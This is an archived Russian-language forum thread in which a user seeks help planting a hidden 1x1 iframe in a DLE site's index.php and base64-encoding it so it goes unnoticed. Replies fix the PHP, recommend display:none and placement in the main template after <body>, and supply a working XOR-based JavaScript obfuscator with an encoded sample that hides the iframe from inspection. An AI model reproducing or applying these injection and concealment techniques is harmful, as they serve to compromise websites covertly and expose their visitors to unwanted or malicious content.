Просмотр полной версии : вставка iframe в ПХП
satana8920
29.11.2008, 22:11
люди Хелп
есть страница index.php
Кстати скрипт DLE
вставляю фрейм так
$fr= '<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>';
print( base64_encode($fr) );
кгда захожу на сайт пишет
Parse error: syntax error, unexpected T_STRING in /home/public_html/index.php on line 227
что такое ??? в чем проблема?
еси кто может помочь напишите в ацку или тут
$fr= "<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>";
А зачем в базе64 то?
satana8920
29.11.2008, 22:14
что б сразу не просекли
astrologer
29.11.2008, 22:15
что б сразу не просекли
Так он и грузиться не будет
:D
$fr= '<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>';
однако .. это как понимать ?
вот что надо
$fr= '<iframe src=\'http://xxxxxxxxxx\' width=1 height=1></iframe>';
Pashkela
29.11.2008, 22:35
$fr= base64_encode("<iframe src='http://pashkela.narod.ru' width=100 height=100></iframe>");
echo base64_decode($fr);
В общем двойные кавычки нужны в первой строчке, чтобы не было ошибок, просто php после второй одинарной кавычки считает, что кавычки закрылись, и ждет корректного продолжения кода, ну уж никак не http
А дальше как выше и сказали - твой код, даже с исправленными кавычками, просто выведет на экран вот это:
PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydS cgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+
какая нах разница как лучше ? у тс трабла была в пхп, а именно с кавычками ..
вы ещё партнёрки тут прорекламте...
DVD_RW, я конечно тоже не знаток-верстальщик .. но твой пример не заработает ни в одном браузере помоему :D
Pashkela
29.11.2008, 23:04
лучше тогда уж так:)
<?
$fr= "PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydS cgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+";
echo base64_decode($fr);
?>
Скрипт для кодировки ВАШЕГО ифрейма:
<?
$fr= "'<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>";
echo base64_encode($fr);
?>
И то, что выведется на экран - просто скопировать и вставить в первый скрипт ЭТОГО поста вот сюда:
$fr= "сюда_вставить";
и тогда действительно простым поиском по тегам фиг что чел найдет, даже если что-то заподозрит:)
Кодировки можно применять разные
satana8920
29.11.2008, 23:39
спс всем траблу пмог решить Kaimi спс ему огромное
-=lebed=-
08.01.2009, 18:41
1. Кстати фрейм виден в виде маленького квадратика в Опере. Помню как-то делал его вывод на отдельный слой и за пределы окна страницы, не подскажите?
2. Ну в исходниках на стороне сервера мы маскируем линк кодированием в базе64, надо бы ещё от клиента тоже скрыть линк, поделитесь готовым javascript для этого дела у кого есть...
big_BRAT
08.01.2009, 18:55
1. ставим висибл в 0
пример <iframe src="_URL_" style="display:none;"></iframe>
2. есть онлайн утилиты что то типа iframer.ru
смысл сводится к приблизительно такому...
пример document.write(unescape('%3C......'));
тут просто "<iframe src="_UR...." кодируется.
поповоду самого вопроса, в дле лучше всего вставлять в шаблон /teplates/_you_templlate_/main.tpl
вставляй сразу после тега <body>
astrologer
08.01.2009, 20:26
Можно самому что-нибудь простое написать, например:
<pre>
<script>
function encode(s)
{
s = s.split('');
var
l = s.length,
i = 0,
a = [],
r = Math.random,
n = 0;
while(i < l)
{
a[n++] = s[i++].charCodeAt(0) ^ (a[n++] = r() * 0xFF >> 0 | 0x100) | 0x100;
}
return a.join('');
};
function decode(s)
{
s = s.match(/.{3}/g);
var
l = s.length,
i = 0,
n = 0,
r = [];
while(i < l)
{
r[n++] = s[i++] ^ s[i++];
}
return String.fromCharCode.apply(null, r);
};
var a = encode('<iframe src="http://www.google.ru" style="position: absolute; left: -10000px"></iframe>');
var b = decode(a);
document.writeln( a );
document.writeln( b.replace(/</g, '<').replace(/>/g, '>') );
</script>
</pre> Соответственно выглядеть это будет так: <script type="text/javascript">
alert
(
(function(a,i,n,r,f,l){l=a.length;while(i<l)r[n++]=a[i++]^a[i++];return f.apply(null,r);})(
[
'397433321296274372313331434467277376415506326358' ,
'301350352274427456463498450480340316287363363287' ,
'444460382324487456407440296351504399414489272318' ,
'290325259364445466500403483399292321311281390500' ,
'427478302268478510355272277353450443444464398491' ,
'323382368338289337270353411488268357417469398487' ,
'422457386492448506347379443474396494509398314341' ,
'332288412489509393331302313258402434428448386487' ,
'501403498390287293279311408437314267371323257305' ,
'495479317269437453280352369339406424384444280311' ,
'268357461427281363499402468441399490363341'
].join('').match(/.{3}/g),0,0,[],''.constructor['f://rom=C++ha!r^.?C++|{ode;!'.replace(/\W/g,'')])
);
</script>
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot